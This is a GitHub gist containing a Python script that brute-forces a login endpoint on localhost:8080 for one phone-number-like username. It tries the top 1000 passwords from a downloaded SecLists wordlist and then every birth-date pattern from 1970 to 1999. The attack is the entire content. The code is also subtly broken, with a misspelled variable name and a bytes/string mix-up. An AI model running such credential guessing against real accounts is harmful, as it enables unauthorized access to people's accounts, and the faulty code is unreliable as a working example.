Skip to content

Instantly share code, notes, and snippets.

Embed
What would you like to do?
import itertools
import requests
def check_password(password):
data = {'username': '0501234567', 'password': password}
res = requests.post('http://localhost:8080/login', json=data)
if res.status_code == 200:
return True
return False
def common_passwords():
res = requests.get('https://raw.githubusercontent.com/danielmiessler/SecLists/master/Passwords/Common-Credentials/10-million-password-list-top-1000.txt')
passwrods = [s.strip() for s in res.content.splitlines()]
for password in passwords:
if check_password(password):
return password
return None
def birth_date_brute_force():
for day, month, year in itertools.product(range(1, 32), range(1, 13), range(1970, 2000)):
password = f'{day}{month}{year}'
if check_password(password):
return password
return None
print(common_passwords())
print(birth_date_brute_force())
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment